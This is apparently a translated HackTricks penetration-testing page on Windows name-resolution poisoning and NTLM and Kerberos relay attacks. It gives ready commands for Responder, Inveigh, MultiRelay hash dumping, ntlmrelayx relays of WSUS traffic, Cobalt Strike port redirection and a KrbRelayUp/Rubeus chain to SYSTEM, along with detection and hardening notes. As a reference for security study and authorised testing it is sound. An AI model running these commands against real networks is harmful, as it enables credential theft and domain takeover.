Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Netwerkprotokolle

Plaaslike gasheer-oplossingsprotokolle

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft en ander bedryfstelsels gebruik LLMNR en NBT-NS vir plaaslike naamoplossing wanneer DNS faal. Terselfdertyd gebruik Apple- en Linux-stelsels mDNS.
  • Hierdie protokolle is vatbaar vir onderskepping en spoofing weens hul nie-geauthentiseerde, uitsaai-natuur oor UDP.
  • [Responder] en [Dementor] kan gebruik word om dienste te verpersoonlik deur vervalste antwoorde te stuur na gasheer wat navraag doen oor hierdie protokolle.
  • Meer inligting oor diensnabootsing met Responder is te vinde hier.

Web Proxy Auto-Discovery Protokol (WPAD)

  • WPAD laat blaaiers toe om proxy-instellings outomaties te vind.
  • Ontdekking word gefasiliteer via DHCP, DNS, of terugval na LLMNR en NBT-NS as DNS faal.
  • Responder kan WPAD-aanvalle outomatiseer deur kliënte na kwaadwillige WPAD-bedieners te dirigeer.

Responder/Dementor vir protokolvergiftiging

  • Responder is ’n hulpmiddel wat gebruik word om LLMNR-, NBT-NS- en mDNS-navrae te vergiftig, selektief te antwoord gebaseer op navraagsoorte, hoofsaaklik gemik op SMB-dienste.

  • Dit kom vooraf geïnstalleer in Kali Linux, aanpasbaar by /etc/responder/Responder.conf.

  • Responder vertoon vasgevangen hashes op die skerm en stoor hulle in die /usr/share/responder/logs gids.

  • Dit ondersteun beide IPv4 en IPv6.

  • Windows-weergawe van Responder is beskikbaar hier.

  • Dementor brei uit op multicast-vergiftiging en tree bykomend op as ’n skelm diensverskaffer (insluitend CUPS RCE-ondersteuning).

  • Algehele struktuur is soortgelyk aan Responder met meer gedetaileerde konfigurasie. (standaard is hier: Dementor.toml)

  • Kompatibiliteit tussen Dementor en Responder word hier gegee: Kompatibiliteitsmatriks

  • Inleiding en dokumentasie hier: Dementor - Docs

  • Los vasvangprobleme reg wat deur Responder op sekere protokolle bekendgestel is

Responder uitvoer

  • Om Responder met standaardinstellings te laat loop: responder -I <Interface>
  • Vir meer aggressiewe toetsing (met potensiële newe-effekte): responder -I <Interface> -P -r -v
  • Tegnieke om NTLMv1 uitdagings/antwoorde vas te vang vir makliker kraking: responder -I <Interface> --lm --disable-ess
  • WPAD-nabootsing kan geaktiveer word met: responder -I <Interface> --wpad
  • NetBIOS-versoeke kan opgelos word na die aanvaller se IP, en ’n verifikasie-proksi kan opgestel word: responder.py -I <interface> -Pv

Dementor uitvoer

  • Met standaardinstellings toegepas: Dementor -I <interface>
  • Met standaardinstellings in analise-modus: Dementor -I <interface> -A
  • Outomatiese NTLM-sessie-afgradering (ESS): Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off
  • Laat huidige sessie loop met pasgemaakte konfigurasie: Dementor -I <interface> --config <file.toml>

DHCP-vergiftiging met Responder

  • Vervalste DHCP-antwoorde kan ’n slagoffer se roeteringsinligting permanent vergiftig, wat ’n meer skelm alternatief bied vir ARP-vergiftiging.
  • Dit vereis presiese kennis van die teiken-netwerk se konfigurasie.
  • Die aanval uitvoer: ./Responder.py -I eth0 -Pdv
  • Hierdie metode kan effektief NTLMv1/2-hashes vang, maar vereis sorgsame hantering om netwerkversteuring te voorkom.

Vasvang van inlogbewyse met Responder/Dementor

  • Responder/Dementor sal dienste naboots wat gebruik maak van die hierbo genoemde protokolle, en inlogbewyse vasvang (gewoonlik NTLMv2 Challenge/Response) wanneer ’n gebruiker probeer verifieer teen die vervalste dienste.
  • Pogings kan aangewend word om af te gradeer na NetNTLMv1 of ESS uit te skakel vir makliker kraking van inlogbewyse.

Dit is van kritiek belang om daarop te let dat die gebruik van hierdie tegnieke wettig en eties moet geskied, met behoorlike magtiging en sonder om ontwrigting of ongemagtigde toegang te veroorsaak.

Inveigh

Inveigh is ’n hulpmiddel vir penetration testers en red teamers, ontwerp vir Windows-stelsels. Dit bied funksionaliteit soortgelyk aan Responder, en voer spoofing en man-in-the-middle-aanvalle uit. Die hulpmiddel het ontwikkel van ’n PowerShell-skrip na ’n C#-binêr, met Inveigh en InveighZero as die hoofweergawes. Gedetailleerde parameters en instruksies kan in die wiki gevind word.

Inveigh kan deur PowerShell bedryf word:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Of uitgevoer as ’n C# binary:

Inveigh.exe

NTLM Relay Attack

Hierdie aanval benut SMB authentication sessions om toegang tot ’n teikenmasjien te kry en ’n system shell te verkry indien dit suksesvol is. Sleutelvoorvereistes sluit in:

  • Die authenticating user moet Local Admin toegang hê op die relayed host.
  • SMB signing moet gedeaktiveer wees.

445 Port Forwarding and Tunneling

In scenario’s waar direkte netwerkintroduksie nie uitvoerbaar is nie, moet verkeer op port 445 doorgestuur en getonnelleer word. Gereedskap soos PortBender help om port 445-verkeer na ’n ander poort om te lei, wat noodsaaklik is wanneer Local Admin toegang beskikbaar is vir driver loading.

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Ander gereedskap vir NTLM Relay Attack

  • Metasploit: Opgestel met proxies, local en remote host details.
  • smbrelayx: ’n Python-skrip vir die relay van SMB-sessies en die uitvoer van commands of die ontplooiing van backdoors.
  • MultiRelay: ’n hulpmiddel van die Responder-suite om spesifieke users of alle users te relay, commands uit te voer, of hashes te dump.

Elkeen van hierdie gereedskap kan gekonfigureer word om deur ’n SOCKS proxy te werk indien nodig, wat attacks selfs met indirekte network access moontlik maak.

MultiRelay Operasie

MultiRelay word uitgevoer vanaf die /usr/share/responder/tools gids, wat spesifieke IPs of users teiken.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Hierdie gereedskap en tegnieke vorm ’n omvattende stel om NTLM Relay-aanvalle in verskeie netwerk-omgewings uit te voer.

Misbruik WSUS HTTP (8530) vir NTLM Relay na LDAP/SMB/AD CS (ESC8)

WSUS-kliente autentiseer by hul update-server deur NTLM oor HTTP (8530) of HTTPS (8531). Wanneer HTTP geaktiveer is, kan periodieke kliënt-check-ins op die plaaslike segment gedwing of onderskep en met ntlmrelayx na LDAP/LDAPS/SMB of AD CS HTTP-endpunte (ESC8) gereleeer word sonder om enige hashes te kraak. Dit meng in met normale update-verkeer en lewer gereeld masjien-rekeningverifikasies (HOST$).

Wat om na te soek

  • GPO/registry-konfigurasie onder HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate en …\WindowsUpdate\AU:
  • WUServer (bv., http://wsus.domain.local:8530)
  • WUStatusServer (reporting URL)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled en DetectionFrequency (ure)
  • WSUS SOAP-endpunte wat kliënte oor HTTP gebruik:
  • /ClientWebService/client.asmx (approvals)
  • /ReportingWebService/reportingwebservice.asmx (status)
  • Standaardporte: 8530/tcp HTTP, 8531/tcp HTTPS

Verkenning

  • Sonder verifikasie
  • Soek na luisteraars: nmap -sSVC -Pn –open -p 8530,8531 -iL
  • Ruik HTTP WSUS-verkeer via L2 MITM en log aktiewe kliënte/uiteindes met wsusniff.py (slegs HTTP tensy jy kliënte jou TLS-cert laat vertrou).
  • Geverifieer
  • Ontleed SYSVOL GPOs vir WSUS-sleutels met MANSPIDER + regpol (wsuspider.sh wrapper sommeer WUServer/WUStatusServer/UseWUServer).
  • Vra endpunte op skaal vanaf hosts (NetExec) of plaaslik: nxc smb -u -p -M reg-query -o PATH=“HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate” KEY=“WUServer” reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-tot-end HTTP-relay-stappe

  1. Posisioneer vir MITM (dieselfde L2) sodat ’n kliënt die WSUS-server na jou oplos (ARP/DNS poisoning, Bettercap, mitm6, ens.). Voorbeeld met arpspoof: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. Herlei poort 8530 na jou relay-listener (opsioneel, gerieflik): iptables -t nat -A PREROUTING -p tcp –dport 8530 -j REDIRECT –to-ports 8530 iptables -t nat -L PREROUTING –line-numbers

  3. Begin ntlmrelayx met die HTTP-listener (vereis Impacket-ondersteuning vir HTTP-listener; sien PRs hieronder): ntlmrelayx.py -t ldap:// -smb2support -socks –keep-relaying –http-port 8530

Ander algemene teikens:

  • Relay na SMB (as signing af is) vir exec/dump: -t smb://
  • Relay na LDAPS vir directory-wysigings (bv., RBCD): -t ldaps://
  • Relay na AD CS web enrollment (ESC8) om ’n sertifikaat uit te reik en daarna via Schannel/PKINIT te verifieer: ntlmrelayx.py –http-port 8530 -t http:///certsrv/certfnsh.asp –adcs –no-http-server Vir dieper AD CS-misbruik paaie en gereedskap, sien die AD CS-blad:

AD CS Domain Escalation

  1. Trigger ’n kliënt-check-in of wag vir die skedule. Vanaf ’n kliënt: wuauclt.exe /detectnow of gebruik die Windows Update UI (Check for updates).

  2. Gebruik die geauthentiseerde SOCKS-sessies (as -socks) of direkte relay-resultate vir post-exploitation (LDAP-wysigings, SMB-aksies, of AD CS-sertifikaatuitreiking vir later verifikasie).

HTTPS-beperking (8531)

  • Passiewe onderskep van WSUS oor HTTPS is ondoeltreffend tensy kliënte jou sertifikaat vertrou. Sonder ’n vertroude sertifikaat of ander TLS-breek kan die NTLM-handdruk nie uit WSUS HTTPS-verkeer geoes/gereleeer word nie.

Notas

  • WSUS is aangekondig as verouderd maar bly wyd geïmplementeer; HTTP (8530) is nog algemeen in baie omgewings.
  • Nuttige helpers: wsusniff.py (kyk na HTTP WSUS check-ins), wsuspider.sh (enumereer WUServer/WUStatusServer van GPOs), NetExec reg-query op skaal.
  • Impacket het HTTP-listener ondersteuning vir ntlmrelayx herstel in PR #2034 (oorspronklik bygevoeg in PR #913).

Forceer NTLM-aanmeldings

In Windows kan jy mag dalk sommige bevoorregte rekeninge dwing om by ewekansige masjiene te autentiseer. Lees die volgende blad om te leer hoe:

Force NTLM Privileged Authentication

Kerberos Relay-aanval

A Kerberos relay attack steel ’n AP-REQ ticket van een diens en hergebruik dit teen ’n tweede diens wat die dieselfde computer-account key deel (want beide SPNs sit op dieselfde $ masjienrekening). Dit werk selfs al verskil die SPN se service classes (bv. CIFS/LDAP/) omdat die sleutel wat die kaartjie ontsluit die masjien se NT-hash is, nie die SPN-string self nie, en die SPN-string is nie deel van die handtekening nie.

Anders as NTLM relay, is die hop beperk tot dieselfde gasheer, maar as jy ’n protokol teiken wat jou toelaat om na LDAP te skryf, kan jy ketting na Resource-Based Constrained Delegation (RBCD) of AD CS enrollment en in een slag NT AUTHORITY\SYSTEM bekom.

Vir gedetaileerde inligting oor hierdie aanval sien:

TokenDoelRelay relevance
TGT / AS-REQ ↔ REPBewys die gebruiker aan die KDCuntouched
Service ticket / TGS-REQ ↔ REPGebind aan een SPN; geënkripteer met die SPN-eienaar se sleuteluitruilbaar as SPNs dieselfde rekening deel
AP-REQKliënt stuur TGS aan die dienswat ons steel & hergebruik
  • Kaartjies is geënkripteer met die password-derived key of the account that owns the SPN.
  • Die Authenticator binne die AP-REQ het ’n 5-minute timestamp; herleiding binne daardie venster is geldig totdat die diens se cache ’n duplikaat sien.
  • Windows kontroleer selde of die SPN-string in die kaartjie ooreenstem met die diens wat jy tref, so ’n kaartjie vir CIFS/HOST dekodeer gewoonlik goed op LDAP/HOST.
    1. Wat moet waar wees om Kerberos te relay
  1. Gedeelde sleutel: bron- en teiken-SPNs behoort aan dieselfde rekeningsmasjien (standaard op Windows-bedieners).
  2. Geen channel protection: SMB/LDAP signing af en EPA af vir HTTP/LDAPS.
  3. Jy kan verifikasie onderskep of dwing: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, ens.
  4. Kaartjie-bron nog nie gebruik nie: jy wen die wedloop voor die werklike pakket inslaan of blokkeer dit heeltemal; anders sal die bediener se replay-cache Event 4649 skiet.
  5. Jy moet op een of ander manier ’n MitM in die kommunikasie kan uitvoer — dalk deel wees van die DNSAmins-groep om die DNS van die domein te verander of in staat wees om die HOST-lêer van die teiken te verander.

Kerberos Relay-stappe

  • 3.1 Recon the host
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 Begin die relay-luisteraar

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp verpak KrbRelay → LDAP → RBCD → Rubeus → SCM bypass in een binary.

  • 3.3 Dwing Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce laat die DC ’n Kerberos CIFS/DC01 ticket na ons stuur.

  • 3.4 Relay the AP-REQ

KrbRelay onttrek die GSS blob uit SMB, verpak dit in ’n LDAP bind en stuur dit na ldap://DC01—authentication slaag omdat die dieselfde sleutel dit ontsleutel.

  • 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Jy besit nou NT AUTHORITY\SYSTEM.

Meer paadjies wat die moeite werd is om te ken

VectorTrickWhy it matters
AuthIP / IPSecVals bediener stuur ’n GSS-ID payload met enige SPN; kliënt bou ’n AP-REQ direk na jouWerk selfs oor subnets; machine creds standaard
DCOM / MSRPCKwaadwillige OXID resolver dwing kliënt om te auth na ’n arbitrêre SPN en poortSuiwer lokale priv-esc; omseil firewall
AD CS Web EnrollRelay machine ticket to HTTP/CA and get a cert, then PKINIT to mint TGTsOmseil LDAP-signeringsverdedigingsmaatreëls
Shadow CredentialsSkryf msDS-KeyCredentialLink, dan PKINIT met vervalste sleutelpaarGeen behoefte om ’n computer account by te voeg nie

Foutopsporing

FoutBetekenisOplossing
KRB_AP_ERR_MODIFIEDTicket key ≠ target keyVerkeerde host/SPN
KRB_AP_ERR_SKEWKlok > 5 min verskilSinkroniseer tyd of gebruik w32tm
LDAP bind failsSignering afgedwingGebruik AD CS path of skakel signering af
Event 4649 spamDiens het duplikaat Authenticator gesienBlokkeer of wedren teen die oorspronklike pakket

Opsporing

  • Toename in Event 4769 vir CIFS/, HTTP/, LDAP/ van dieselfde bron binne sekondes.
  • Event 4649 op die diens dui daarop dat ’n herhaling opgespoor is.
  • Kerberos-aanmelding vanaf 127.0.0.1 (relay to local SCM) is hoogs verdag — kaart dit via die Sigma-reël in die KrbRelayUp-dokumentasie.
  • Let op veranderinge aan msDS-AllowedToActOnBehalfOfOtherIdentity of msDS-KeyCredentialLink attributte.

Verharding

  1. Dwing LDAP & SMB signing + EPA op elke bediener af.
  2. Split SPNs sodat HTTP nie op dieselfde rekening as CIFS/LDAP is nie.
  3. Patche coercion vectors (PetitPotam KB5005413, DFS, AuthIP).
  4. Stel ms-DS-MachineAccountQuota = 0 om ongemagtigde rekenaarbyvoegings te stop.
  5. Waarsku op Event 4649 en onverwagte loopback Kerberos-aanmeldings.

References

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks